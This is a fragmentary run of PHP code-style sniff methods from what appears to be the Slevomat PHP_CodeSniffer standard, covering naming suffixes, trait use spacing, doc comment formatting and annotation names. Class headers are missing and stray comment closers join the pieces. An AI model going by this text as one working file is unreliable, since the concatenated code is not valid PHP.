$phpcsFile->addError(sprintf('Superfluous suffix "%s".', $suffix), $classPointer, self::CODE_SUPERFLUOUS_SUFFIX); } } */ public function register(): array { return [ T_CLASS, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $classPointer */ public function process(File $phpcsFile, $classPointer): void { $className = ClassHelper::getName($phpcsFile, $classPointer); $previousPointer = TokenHelper::findPreviousEffective($phpcsFile, $classPointer - 1); if ($phpcsFile->getTokens()[$previousPointer]['code'] === T_ABSTRACT) { return; } if (strtolower($className) === 'exception') { return; } $suffix = substr($className, -9); if (strtolower($suffix) !== 'exception') { return; } $phpcsFile->addError(sprintf('Superfluous suffix "%s".', $suffix), $classPointer, self::CODE_SUPERFLUOUS_SUFFIX); } } */ public function register(): array { return [ T_INTERFACE, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $interfacePointer */ public function process(File $phpcsFile, $interfacePointer): void { $interfaceName = ClassHelper::getName($phpcsFile, $interfacePointer); $this->checkPrefix($phpcsFile, $interfacePointer, $interfaceName); $this->checkSuffix($phpcsFile, $interfacePointer, $interfaceName); } private function checkPrefix(File $phpcsFile, int $interfacePointer, string $interfaceName): void { $prefix = substr($interfaceName, 0, 9); if (strtolower($prefix) !== 'interface') { return; } $phpcsFile->addError(sprintf('Superfluous prefix "%s".', $prefix), $interfacePointer, self::CODE_SUPERFLUOUS_PREFIX); } private function checkSuffix(File $phpcsFile, int $interfacePointer, string $interfaceName): void { $suffix = substr($interfaceName, -9); if (strtolower($suffix) !== 'interface') { return; } $phpcsFile->addError(sprintf('Superfluous suffix "%s".', $suffix), $interfacePointer, self::CODE_SUPERFLUOUS_SUFFIX); } } */ public function register(): array { return [ T_TRAIT, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $traitPointer */ public function process(File $phpcsFile, $traitPointer): void { $traitName = ClassHelper::getName($phpcsFile, $traitPointer); $this->checkSuffix($phpcsFile, $traitPointer, $traitName); } private function checkSuffix(File $phpcsFile, int $traitPointer, string $traitName): void { $suffix = substr($traitName, -5); if (strtolower($suffix) !== 'trait') { return; } $phpcsFile->addError(sprintf('Superfluous suffix "%s".', $suffix), $traitPointer, self::CODE_SUPERFLUOUS_SUFFIX); } } */ public function register(): array { return [ T_CLASS, T_ANON_CLASS, T_TRAIT, T_ENUM, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $classPointer */ public function process(File $phpcsFile, $classPointer): void { $usePointers = ClassHelper::getTraitUsePointers($phpcsFile, $classPointer); foreach ($usePointers as $usePointer) { $this->checkDeclaration($phpcsFile, $usePointer); } } private function checkDeclaration(File $phpcsFile, int $usePointer): void { $commaPointer = TokenHelper::findNextLocal($phpcsFile, T_COMMA, $usePointer + 1); if ($commaPointer === null) { return; } $endPointer = TokenHelper::findNext($phpcsFile, [T_OPEN_CURLY_BRACKET, T_SEMICOLON], $usePointer + 1); $tokens = $phpcsFile->getTokens(); if ($tokens[$endPointer]['code'] === T_OPEN_CURLY_BRACKET) { $phpcsFile->addError( 'Multiple traits per use statement are forbidden.', $usePointer, self::CODE_MULTIPLE_TRAITS_PER_DECLARATION, ); return; } $fix = $phpcsFile->addFixableError( 'Multiple traits per use statement are forbidden.', $usePointer, self::CODE_MULTIPLE_TRAITS_PER_DECLARATION, ); if (!$fix) { return; } $indentation = ''; $currentPointer = $usePointer - 1; while ( $tokens[$currentPointer]['code'] === T_WHITESPACE && $tokens[$currentPointer]['content'] !== $phpcsFile->eolChar ) { $indentation .= $tokens[$currentPointer]['content']; $currentPointer--; } $phpcsFile->fixer->beginChangeset(); $otherCommaPointers = TokenHelper::findNextAll($phpcsFile, T_COMMA, $usePointer + 1, $endPointer); foreach ($otherCommaPointers as $otherCommaPointer) { $pointerAfterComma = TokenHelper::findNextEffective($phpcsFile, $otherCommaPointer + 1); FixerHelper::change( $phpcsFile, $otherCommaPointer, $pointerAfterComma - 1, sprintf(';%s%suse ', $phpcsFile->eolChar, $indentation), ); } $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [ T_CLASS, T_ANON_CLASS, T_TRAIT, T_ENUM, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $classPointer */ public function process(File $phpcsFile, $classPointer): void { $this->linesCountBeforeFirstUse = SniffSettingsHelper::normalizeInteger($this->linesCountBeforeFirstUse); $this->linesCountBeforeFirstUseWhenFirstInClass = SniffSettingsHelper::normalizeNullableInteger( $this->linesCountBeforeFirstUseWhenFirstInClass, ); $this->linesCountBetweenUses = SniffSettingsHelper::normalizeInteger($this->linesCountBetweenUses); $this->linesCountAfterLastUse = SniffSettingsHelper::normalizeNullableInteger($this->linesCountAfterLastUse); $this->linesCountAfterLastUseWhenLastInClass = SniffSettingsHelper::normalizeInteger($this->linesCountAfterLastUseWhenLastInClass); $usePointers = ClassHelper::getTraitUsePointers($phpcsFile, $classPointer); if (count($usePointers) === 0) { return; } $this->checkLinesBeforeFirstUse($phpcsFile, $usePointers[0]); $this->checkLinesAfterLastUse($phpcsFile, $usePointers[count($usePointers) - 1]); $this->checkLinesBetweenUses($phpcsFile, $usePointers); } private function checkLinesBeforeFirstUse(File $phpcsFile, int $firstUsePointer): void { $tokens = $phpcsFile->getTokens(); $useStartPointer = $firstUsePointer; /** @var int $pointerBeforeFirstUse */ $pointerBeforeFirstUse = TokenHelper::findPreviousNonWhitespace($phpcsFile, $firstUsePointer - 1); if (in_array($tokens[$pointerBeforeFirstUse]['code'], Tokens::$commentTokens, true)) { $pointerBeforeFirstUse = TokenHelper::findPreviousEffective($phpcsFile, $pointerBeforeFirstUse - 1); $useStartPointer = TokenHelper::findNext($phpcsFile, Tokens::$commentTokens, $pointerBeforeFirstUse + 1); } $isAtTheStartOfClass = $tokens[$pointerBeforeFirstUse]['code'] === T_OPEN_CURLY_BRACKET; $whitespaceBeforeFirstUse = ''; if ($pointerBeforeFirstUse + 1 !== $firstUsePointer) { $whitespaceBeforeFirstUse .= TokenHelper::getContent($phpcsFile, $pointerBeforeFirstUse + 1, $useStartPointer - 1); } $requiredLinesCountBeforeFirstUse = $this->linesCountBeforeFirstUse; if ( $isAtTheStartOfClass && $this->linesCountBeforeFirstUseWhenFirstInClass !== null ) { $requiredLinesCountBeforeFirstUse = $this->linesCountBeforeFirstUseWhenFirstInClass; } $actualLinesCountBeforeFirstUse = substr_count($whitespaceBeforeFirstUse, $phpcsFile->eolChar) - 1; if ($actualLinesCountBeforeFirstUse === $requiredLinesCountBeforeFirstUse) { return; } $fix = $phpcsFile->addFixableError( sprintf( 'Expected %d line%s before first use statement, found %d.', $requiredLinesCountBeforeFirstUse, $requiredLinesCountBeforeFirstUse === 1 ? '' : 's', $actualLinesCountBeforeFirstUse, ), $firstUsePointer, self::CODE_INCORRECT_LINES_COUNT_BEFORE_FIRST_USE, ); if (!$fix) { return; } $pointerBeforeIndentation = TokenHelper::findPreviousContent( $phpcsFile, T_WHITESPACE, $phpcsFile->eolChar, $firstUsePointer, $pointerBeforeFirstUse, ); $phpcsFile->fixer->beginChangeset(); if ($pointerBeforeIndentation !== null) { FixerHelper::removeBetweenIncluding($phpcsFile, $pointerBeforeFirstUse + 1, $pointerBeforeIndentation); } for ($i = 0; $i <= $requiredLinesCountBeforeFirstUse; $i++) { $phpcsFile->fixer->addNewline($pointerBeforeFirstUse); } $phpcsFile->fixer->endChangeset(); } private function checkLinesAfterLastUse(File $phpcsFile, int $lastUsePointer): void { $tokens = $phpcsFile->getTokens(); /** @var int $lastUseEndPointer */ $lastUseEndPointer = TokenHelper::findNextLocal($phpcsFile, [T_SEMICOLON, T_OPEN_CURLY_BRACKET], $lastUsePointer + 1); if ($tokens[$lastUseEndPointer]['code'] === T_OPEN_CURLY_BRACKET) { $lastUseEndPointer = $tokens[$lastUseEndPointer]['bracket_closer']; } $pointerAfterLastUse = TokenHelper::findNextEffective($phpcsFile, $lastUseEndPointer + 1); $isAtTheEndOfClass = $tokens[$pointerAfterLastUse]['code'] === T_CLOSE_CURLY_BRACKET; $whitespaceEnd = TokenHelper::findNextNonWhitespace($phpcsFile, $lastUseEndPointer + 1) - 1; if ($lastUseEndPointer !== $whitespaceEnd && $tokens[$whitespaceEnd]['content'] !== $phpcsFile->eolChar) { $lastEolPointer = TokenHelper::findPreviousContent( $phpcsFile, T_WHITESPACE, $phpcsFile->eolChar, $whitespaceEnd - 1, $lastUseEndPointer, ); $whitespaceEnd = $lastEolPointer ?? $lastUseEndPointer; } $whitespaceAfterLastUse = TokenHelper::getContent($phpcsFile, $lastUseEndPointer + 1, $whitespaceEnd); $requiredLinesCountAfterLastUse = $isAtTheEndOfClass ? $this->linesCountAfterLastUseWhenLastInClass : $this->linesCountAfterLastUse; if ($requiredLinesCountAfterLastUse === null) { return; } $actualLinesCountAfterLastUse = substr_count($whitespaceAfterLastUse, $phpcsFile->eolChar) - 1; if ($actualLinesCountAfterLastUse === $requiredLinesCountAfterLastUse) { return; } $fix = $phpcsFile->addFixableError( sprintf( 'Expected %d line%s after last use statement, found %d.', $requiredLinesCountAfterLastUse, $requiredLinesCountAfterLastUse === 1 ? '' : 's', $actualLinesCountAfterLastUse, ), $lastUsePointer, self::CODE_INCORRECT_LINES_COUNT_AFTER_LAST_USE, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetweenIncluding($phpcsFile, $lastUseEndPointer + 1, $whitespaceEnd); for ($i = 0; $i <= $requiredLinesCountAfterLastUse; $i++) { $phpcsFile->fixer->addNewline($lastUseEndPointer); } $phpcsFile->fixer->endChangeset(); } /** * @param list $usePointers */ private function checkLinesBetweenUses(File $phpcsFile, array $usePointers): void { if (count($usePointers) === 1) { return; } $tokens = $phpcsFile->getTokens(); $previousUsePointer = null; foreach ($usePointers as $usePointer) { if ($previousUsePointer === null) { $previousUsePointer = $usePointer; continue; } /** @var int $previousUseEndPointer */ $previousUseEndPointer = TokenHelper::findNextLocal($phpcsFile, [T_SEMICOLON, T_OPEN_CURLY_BRACKET], $previousUsePointer + 1); if ($tokens[$previousUseEndPointer]['code'] === T_OPEN_CURLY_BRACKET) { /** @var int $previousUseEndPointer */ $previousUseEndPointer = $tokens[$previousUseEndPointer]['bracket_closer']; } $useStartPointer = $usePointer; $pointerBeforeUse = TokenHelper::findPreviousNonWhitespace($phpcsFile, $usePointer - 1); if (in_array($tokens[$pointerBeforeUse]['code'], Tokens::$commentTokens, true)) { $useStartPointer = TokenHelper::findNext( $phpcsFile, Tokens::$commentTokens, TokenHelper::findPreviousEffective($phpcsFile, $pointerBeforeUse - 1) + 1, ); } $actualLinesCountAfterPreviousUse = $tokens[$useStartPointer]['line'] - $tokens[$previousUseEndPointer]['line'] - 1; if ($actualLinesCountAfterPreviousUse === $this->linesCountBetweenUses) { $previousUsePointer = $usePointer; continue; } $errorParameters = [ sprintf( 'Expected %d line%s between same types of use statement, found %d.', $this->linesCountBetweenUses, $this->linesCountBetweenUses === 1 ? '' : 's', $actualLinesCountAfterPreviousUse, ), $usePointer, self::CODE_INCORRECT_LINES_COUNT_BETWEEN_USES, ]; $pointerBeforeUse = TokenHelper::findPreviousEffective($phpcsFile, $usePointer - 1); if ($previousUseEndPointer !== $pointerBeforeUse) { $phpcsFile->addError(...$errorParameters); $previousUsePointer = $usePointer; continue; } $fix = $phpcsFile->addFixableError(...$errorParameters); if (!$fix) { $previousUsePointer = $usePointer; continue; } $pointerBeforeIndentation = TokenHelper::findPreviousContent( $phpcsFile, T_WHITESPACE, $phpcsFile->eolChar, $usePointer, $previousUseEndPointer, ); $phpcsFile->fixer->beginChangeset(); if ($pointerBeforeIndentation !== null) { FixerHelper::removeBetweenIncluding($phpcsFile, $previousUseEndPointer + 1, $pointerBeforeIndentation); } for ($i = 0; $i <= $this->linesCountBetweenUses; $i++) { $phpcsFile->fixer->addNewline($previousUseEndPointer); } $phpcsFile->fixer->endChangeset(); $previousUsePointer = $usePointer; } } } */ public function register(): array { return [ T_STATIC, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $staticPointer */ public function process(File $phpcsFile, $staticPointer): void { $tokens = $phpcsFile->getTokens(); $doubleColonPointer = TokenHelper::findNextEffective($phpcsFile, $staticPointer + 1); if ($tokens[$doubleColonPointer]['code'] !== T_DOUBLE_COLON) { return; } $classPointer = null; foreach (array_reverse($tokens[$staticPointer]['conditions'], true) as $conditionPointer => $conditionTokenCode) { if (!in_array($conditionTokenCode, Tokens::$ooScopeTokens, true)) { continue; } $classPointer = $conditionPointer; break; } if ($classPointer === null || !ClassHelper::isFinal($phpcsFile, $classPointer)) { return; } $fix = $phpcsFile->addFixableError( 'Useless late static binding because class is final.', $staticPointer, self::CODE_USELESS_LATE_STATIC_BINDING, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::replace($phpcsFile, $staticPointer, 'self'); $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [T_DOC_COMMENT_OPEN_TAG]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $docCommentStartPointer */ public function process(File $phpcsFile, $docCommentStartPointer): void { $tokens = $phpcsFile->getTokens(); // Only validate properties without description if (DocCommentHelper::hasDocCommentDescription($phpcsFile, $docCommentStartPointer)) { return; } $docCommentEndPointer = $tokens[$docCommentStartPointer]['comment_closer']; $lineDifference = $tokens[$docCommentEndPointer]['line'] - $tokens[$docCommentStartPointer]['line']; // Already one-line if ($lineDifference === 0) { return; } // Ignore empty lines $currentLinePointer = $docCommentStartPointer; do { $currentLinePointer = TokenHelper::findFirstTokenOnNextLine($phpcsFile, $currentLinePointer); if ($currentLinePointer === null || $currentLinePointer >= $docCommentEndPointer) { break; } $types = [T_DOC_COMMENT_STAR, T_DOC_COMMENT_CLOSE_TAG]; $startingPointer = TokenHelper::findNext($phpcsFile, $types, $currentLinePointer, $docCommentEndPointer); if ($startingPointer === null || $tokens[$startingPointer]['code'] === T_DOC_COMMENT_CLOSE_TAG) { break; } $nextEffectivePointer = TokenHelper::findNextExcluding( $phpcsFile, [T_DOC_COMMENT_WHITESPACE], $startingPointer + 1, $docCommentEndPointer + 1, ); if ($tokens[$currentLinePointer]['line'] === $tokens[$nextEffectivePointer]['line']) { continue; } $lineDifference--; } while (true); // Looks like a compound doc-comment if ($lineDifference > 2) { return; } $fix = $this->addError($phpcsFile, $docCommentStartPointer); if (!$fix) { return; } $contentStartPointer = TokenHelper::findNextExcluding( $phpcsFile, [ T_DOC_COMMENT_WHITESPACE, T_DOC_COMMENT_STAR, ], $docCommentStartPointer + 1, $docCommentEndPointer, ); $contentEndPointer = TokenHelper::findPreviousExcluding( $phpcsFile, [ T_DOC_COMMENT_WHITESPACE, T_DOC_COMMENT_STAR, ], $docCommentEndPointer - 1, $docCommentStartPointer, ); if ($contentStartPointer === null) { FixerHelper::removeBetween($phpcsFile, $docCommentStartPointer, $docCommentEndPointer); return; } $phpcsFile->fixer->beginChangeset(); for ($i = $docCommentStartPointer + 1; $i < $docCommentEndPointer; $i++) { if ($i >= $contentStartPointer && $i <= $contentEndPointer) { if ($i === $contentEndPointer) { FixerHelper::replace( $phpcsFile, $i, rtrim($phpcsFile->fixer->getTokenContent($i), ' '), ); } continue; } FixerHelper::replace($phpcsFile, $i, ''); } FixerHelper::addBefore($phpcsFile, $contentStartPointer, ' '); FixerHelper::addBefore($phpcsFile, $docCommentEndPointer, ' '); $phpcsFile->fixer->endChangeset(); } } |null */ public ?array $annotations = null; /** @var array|null */ private ?array $normalizedAnnotations = null; /** * @return array */ public function register(): array { return [ T_DOC_COMMENT_OPEN_TAG, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $docCommentOpenPointer */ public function process(File $phpcsFile, $docCommentOpenPointer): void { $annotations = AnnotationHelper::getAnnotations($phpcsFile, $docCommentOpenPointer); $correctAnnotationNames = $this->getNormalizedAnnotationNames(); foreach ($annotations as $annotation) { $lowerCasedAnnotationName = strtolower($annotation->getName()); if (!array_key_exists($lowerCasedAnnotationName, $correctAnnotationNames)) { continue; } $correctAnnotationName = $correctAnnotationNames[$lowerCasedAnnotationName]; if ($correctAnnotationName === $annotation->getName()) { continue; } $annotationNameWithoutAtSign = ltrim($annotation->getName(), '@'); $fullyQualifiedAnnotationName = NamespaceHelper::resolveClassName( $phpcsFile, $annotationNameWithoutAtSign, $annotation->getStartPointer(), ); if (NamespaceHelper::normalizeToCanonicalName($fullyQualifiedAnnotationName) !== $annotationNameWithoutAtSign) { continue; } $fix = $phpcsFile->addFixableError( sprintf('Annotation name is incorrect. Expected %s, found %s.', $correctAnnotationName, $annotation->getName()), $annotation->getStartPointer(), self::CODE_ANNOTATION_NAME_INCORRECT, ); if (!$fix) { continue; } $phpcsFile->fixer->beginChangeset(); FixerHelper::replace($phpcsFile, $annotation->getStartPointer(), $correctAnnotationName); $phpcsFile->fixer->endChangeset(); } $tokens = $phpcsFile->getTokens(); $docCommentContent = TokenHelper::getContent($phpcsFile, $docCommentOpenPointer, $tokens[$docCommentOpenPointer]['comment_closer']); if (preg_match_all( '~\{(' . implode('|', $correctAnnotationNames) . ')\}~i', $docCommentContent, $matches, PREG_OFFSET_CAPTURE, ) === 0) { return; } foreach ($matches[1] as $match) { $correctAnnotationName = $correctAnnotationNames[strtolower($match[0])]; if ($correctAnnotationName === $match[0]) { continue; } $fix = $phpcsFile->addFixableError( sprintf('Annotation name is incorrect. Expected %s, found %s.', $correctAnnotationName, $match[0]), $docCommentOpenPointer, self::CODE_ANNOTATION_NAME_INCORRECT, ); if (!$fix) { continue; } $phpcsFile->fixer->beginChangeset(); $fixedDocCommentContent = substr($docCommentContent, 0, $match[1]) . $correctAnnotationName . substr( $docCommentContent, $match[1] + strlen($match[0]), ); FixerHelper::change( $phpcsFile, $docCommentOpenPointer, $tokens[$docCommentOpenPointer]['comment_closer'], $fixedDocCommentContent, ); $phpcsFile->fixer->endChangeset(); } } /** * @return array */ private function getNormalizedAnnotationNames(): array { if ($this->normalizedAnnotations !== null) { return $this->normalizedAnnotations; } if ($this->annotations !== null) { $annotationNames = array_map( static fn (string $annotationName): string => ltrim($annotationName, '@'), SniffSettingsHelper::normalizeArray($this->annotations), ); } else { $annotationNames = [...self::STANDARD_ANNOTATIONS, ...self::PHPUNIT_ANNOTATIONS, ...self::STATIC_ANALYSIS_ANNOTATIONS]; foreach (self::STATIC_ANALYSIS_ANNOTATIONS as $annotationName) { if (strpos($annotationName, 'psalm') === 0) { continue; } foreach (AnnotationHelper::STATIC_ANALYSIS_PREFIXES as $prefix) { $annotationNames[] = sprintf('%s-%s', $prefix, $annotationName); } } } $annotationNames = array_map(static fn (string $annotationName): string => '@' . $annotationName, array_unique($annotationNames)); $this->normalizedAnnotations = array_combine( array_map(static fn (string $annotationName): string => strtolower($annotationName), $annotationNames), $annotationNames, ); return $this->normalizedAnnotations; } } */ public function register(): array { return [T_DOC_COMMENT_OPEN_TAG]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $docCommentStartPointer */ public function process(File $phpcsFile, $docCommentStartPointer): void { /** @var list> $annotations */ $annotations = AnnotationHelper::getAnnotations($phpcsFile, $docCommentStartPointer, '@deprecated'); if (count($annotations) === 0) { return; } foreach ($annotations as $annotation) { if ($annotation->getValue()->description !== '') { continue; } $phpcsFile->addError( 'Deprecated annotation must have a description.', $annotation->getStartPointer(), self::MISSING_DESCRIPTION, ); } } } */ public function register(): array { return [...TokenHelper::INLINE_COMMENT_TOKEN_CODES, T_DOC_COMMENT_OPEN_TAG]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $commentPointer */ public function process(File $phpcsFile, $commentPointer): void { $tokens = $phpcsFile->getTokens(); if ($tokens[$commentPointer]['column'] === 1) { return; } $firstNonWhitespacePointerOnLine = TokenHelper::findFirstNonWhitespaceOnLine($phpcsFile, $commentPointer); if ($firstNonWhitespacePointerOnLine === $commentPointer) { return; } if ( $tokens[$firstNonWhitespacePointerOnLine]['code'] === T_DOC_COMMENT_OPEN_TAG && $tokens[$firstNonWhitespacePointerOnLine]['comment_closer'] > $commentPointer ) { return; } $commentEndPointer = CommentHelper::getCommentEndPointer($phpcsFile, $commentPointer); $nextNonWhitespacePointer = TokenHelper::findNextNonWhitespace($phpcsFile, $commentEndPointer + 1); if ( $nextNonWhitespacePointer !== null && $commentEndPointer !== null && $tokens[$nextNonWhitespacePointer]['line'] === $tokens[$commentEndPointer]['line'] ) { return; } $fix = $phpcsFile->addFixableError('Comment after code is disallowed.', $commentPointer, self::CODE_DISALLOWED_COMMENT_AFTER_CODE); if (!$fix) { return; } $commentContent = TokenHelper::getContent($phpcsFile, $commentPointer, $commentEndPointer); $commentHasNewLineAtTheEnd = substr($commentContent, -strlen($phpcsFile->eolChar)) === $phpcsFile->eolChar; if (!$commentHasNewLineAtTheEnd) { $commentContent .= $phpcsFile->eolChar; } $firstNonWhiteSpacePointerBeforeComment = TokenHelper::findPreviousNonWhitespace($phpcsFile, $commentPointer - 1); $newLineAfterComment = $commentHasNewLineAtTheEnd ? $commentEndPointer : TokenHelper::findLastTokenOnLine($phpcsFile, $commentEndPointer); $indentation = IndentationHelper::getIndentation($phpcsFile, $firstNonWhitespacePointerOnLine); $firstPointerOnLine = TokenHelper::findFirstTokenOnLine($phpcsFile, $firstNonWhitespacePointerOnLine); $phpcsFile->fixer->beginChangeset(); if ( $tokens[$firstNonWhiteSpacePointerBeforeComment]['code'] === T_OPEN_CURLY_BRACKET && array_key_exists('scope_condition', $tokens[$firstNonWhiteSpacePointerBeforeComment]) && in_array( $tokens[$tokens[$firstNonWhiteSpacePointerBeforeComment]['scope_condition']]['code'], [T_ELSEIF, T_ELSE, T_CLOSURE], true, ) ) { FixerHelper::add( $phpcsFile, $firstNonWhiteSpacePointerBeforeComment, $phpcsFile->eolChar . IndentationHelper::addIndentation($phpcsFile, $indentation) . $commentContent, ); } elseif ($tokens[$firstNonWhitespacePointerOnLine]['code'] === T_CLOSE_CURLY_BRACKET) { FixerHelper::add($phpcsFile, $firstNonWhiteSpacePointerBeforeComment, $phpcsFile->eolChar . $indentation . $commentContent); } elseif (isset(Tokens::$stringTokens[$tokens[$firstPointerOnLine]['code']])) { $prevNonStringToken = TokenHelper::findPreviousExcluding( $phpcsFile, [T_WHITESPACE] + Tokens::$stringTokens, $firstPointerOnLine - 1, ); $firstTokenOnNonStringTokenLine = TokenHelper::findFirstTokenOnLine($phpcsFile, $prevNonStringToken); $firstNonWhitespacePointerOnNonStringTokenLine = TokenHelper::findFirstNonWhitespaceOnLine($phpcsFile, $prevNonStringToken); $prevLineIndentation = IndentationHelper::getIndentation($phpcsFile, $firstNonWhitespacePointerOnNonStringTokenLine); FixerHelper::addBefore($phpcsFile, $firstTokenOnNonStringTokenLine, $prevLineIndentation . $commentContent); $phpcsFile->fixer->addNewline($firstNonWhiteSpacePointerBeforeComment); } else { FixerHelper::addBefore($phpcsFile, $firstPointerOnLine, $indentation . $commentContent); $phpcsFile->fixer->addNewline($firstNonWhiteSpacePointerBeforeComment); } FixerHelper::removeBetweenIncluding($phpcsFile, $firstNonWhiteSpacePointerBeforeComment + 1, $newLineAfterComment); $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [T_VARIABLE]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $propertyPointer */ public function process(File $phpcsFile, $propertyPointer): void { $tokens = $phpcsFile->getTokens(); // Not a property if (!PropertyHelper::isProperty($phpcsFile, $propertyPointer)) { return; } // Only validate properties with comment if (!DocCommentHelper::hasDocComment($phpcsFile, $propertyPointer)) { return; } /** @var int $docCommentStartPointer */ $docCommentStartPointer = DocCommentHelper::findDocCommentOpenPointer($phpcsFile, $propertyPointer); $docCommentEndPointer = $tokens[$docCommentStartPointer]['comment_closer']; $lineDifference = $tokens[$docCommentEndPointer]['line'] - $tokens[$docCommentStartPointer]['line']; // Already multi-line if ($lineDifference !== 0) { return; } $fix = $phpcsFile->addFixableError( sprintf( 'Found one-line comment for property %s, use multi-line comment instead.', PropertyHelper::getFullyQualifiedName($phpcsFile, $propertyPointer), ), $docCommentStartPointer, self::CODE_ONE_LINE_PROPERTY_COMMENT, ); if (!$fix) { return; } $commentWhitespacePointer = TokenHelper::findPrevious($phpcsFile, [T_WHITESPACE], $docCommentStartPointer); $indent = ($commentWhitespacePointer !== null ? $tokens[$commentWhitespacePointer]['content'] : '') . ' '; $phpcsFile->fixer->beginChangeset(); $phpcsFile->fixer->addNewline($docCommentStartPointer); FixerHelper::add($phpcsFile, $docCommentStartPointer, $indent); FixerHelper::add($phpcsFile, $docCommentStartPointer, '*'); if ($docCommentEndPointer - 1 !== $docCommentStartPointer) { FixerHelper::replace( $phpcsFile, $docCommentEndPointer - 1, rtrim($phpcsFile->fixer->getTokenContent($docCommentEndPointer - 1), ' '), ); } FixerHelper::addBefore($phpcsFile, $docCommentEndPointer, $indent); $phpcsFile->fixer->addNewlineBefore($docCommentEndPointer); $phpcsFile->fixer->endChangeset(); } } */ public array $annotationsGroups = []; /** @var array>|null */ private ?array $normalizedAnnotationsGroups = null; /** * @return array */ public function register(): array { return [ T_DOC_COMMENT_OPEN_TAG, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $docCommentOpenerPointer */ public function process(File $phpcsFile, $docCommentOpenerPointer): void { $this->linesCountBeforeFirstContent = SniffSettingsHelper::normalizeInteger($this->linesCountBeforeFirstContent); $this->linesCountBetweenDescriptionAndAnnotations = SniffSettingsHelper::normalizeInteger( $this->linesCountBetweenDescriptionAndAnnotations, ); $this->linesCountBetweenDifferentAnnotationsTypes = SniffSettingsHelper::normalizeInteger( $this->linesCountBetweenDifferentAnnotationsTypes, ); $this->linesCountBetweenAnnotationsGroups = SniffSettingsHelper::normalizeInteger($this->linesCountBetweenAnnotationsGroups); $this->linesCountAfterLastContent = SniffSettingsHelper::normalizeInteger($this->linesCountAfterLastContent); if (DocCommentHelper::isInline($phpcsFile, $docCommentOpenerPointer)) { return; } $tokens = $phpcsFile->getTokens(); if (TokenHelper::findNextExcluding( $phpcsFile, [T_DOC_COMMENT_WHITESPACE, T_DOC_COMMENT_STAR], $docCommentOpenerPointer + 1, $tokens[$docCommentOpenerPointer]['comment_closer'], ) === null) { return; } $parsedDocComment = DocCommentHelper::parseDocComment($phpcsFile, $docCommentOpenerPointer); if ($parsedDocComment === null) { return; } $firstContentStartPointer = $parsedDocComment->getNodeStartPointer($phpcsFile, $parsedDocComment->getNode()->children[0]); $firstContentEndPointer = $parsedDocComment->getNodeEndPointer( $phpcsFile, $parsedDocComment->getNode()->children[0], $firstContentStartPointer, ); $annotations = AnnotationHelper::getAnnotations($phpcsFile, $docCommentOpenerPointer); usort($annotations, static fn (Annotation $a, Annotation $b): int => $a->getStartPointer() <=> $b->getStartPointer()); $annotationsCount = count($annotations); $firstAnnotationPointer = $annotationsCount > 0 ? $annotations[0]->getStartPointer() : null; /** @var int $lastContentEndPointer */ $lastContentEndPointer = $annotationsCount > 0 ? $annotations[$annotationsCount - 1]->getEndPointer() : $firstContentEndPointer; $this->checkLinesBeforeFirstContent($phpcsFile, $docCommentOpenerPointer, $firstContentStartPointer); $this->checkLinesBetweenDescriptionAndFirstAnnotation( $phpcsFile, $docCommentOpenerPointer, $firstContentStartPointer, $firstContentEndPointer, $firstAnnotationPointer, ); if (count($annotations) > 1) { if (count($this->getAnnotationsGroups()) === 0) { $this->checkLinesBetweenDifferentAnnotationsTypes($phpcsFile, $docCommentOpenerPointer, $annotations); } else { $this->checkAnnotationsGroups($phpcsFile, $docCommentOpenerPointer, $annotations); } } $this->checkLinesAfterLastContent( $phpcsFile, $docCommentOpenerPointer, $tokens[$docCommentOpenerPointer]['comment_closer'], $lastContentEndPointer, ); } private function checkLinesBeforeFirstContent(File $phpcsFile, int $docCommentOpenerPointer, int $firstContentStartPointer): void { $tokens = $phpcsFile->getTokens(); $whitespaceBeforeFirstContent = substr($tokens[$docCommentOpenerPointer]['content'], 0, strlen('/**')); $whitespaceBeforeFirstContent .= TokenHelper::getContent($phpcsFile, $docCommentOpenerPointer + 1, $firstContentStartPointer - 1); $linesCountBeforeFirstContent = max(substr_count($whitespaceBeforeFirstContent, $phpcsFile->eolChar) - 1, 0); if ($linesCountBeforeFirstContent === $this->linesCountBeforeFirstContent) { return; } $fix = $phpcsFile->addFixableError( sprintf( 'Expected %d line%s before first content, found %d.', $this->linesCountBeforeFirstContent, $this->linesCountBeforeFirstContent === 1 ? '' : 's', $linesCountBeforeFirstContent, ), $firstContentStartPointer, self::CODE_INCORRECT_LINES_COUNT_BEFORE_FIRST_CONTENT, ); if (!$fix) { return; } $indentation = IndentationHelper::getIndentation($phpcsFile, $docCommentOpenerPointer); $phpcsFile->fixer->beginChangeset(); FixerHelper::change($phpcsFile, $docCommentOpenerPointer, $firstContentStartPointer - 1, '/**' . $phpcsFile->eolChar); for ($i = 1; $i <= $this->linesCountBeforeFirstContent; $i++) { FixerHelper::add($phpcsFile, $docCommentOpenerPointer, sprintf('%s *%s', $indentation, $phpcsFile->eolChar)); } FixerHelper::addBefore($phpcsFile, $firstContentStartPointer, $indentation . ' * '); 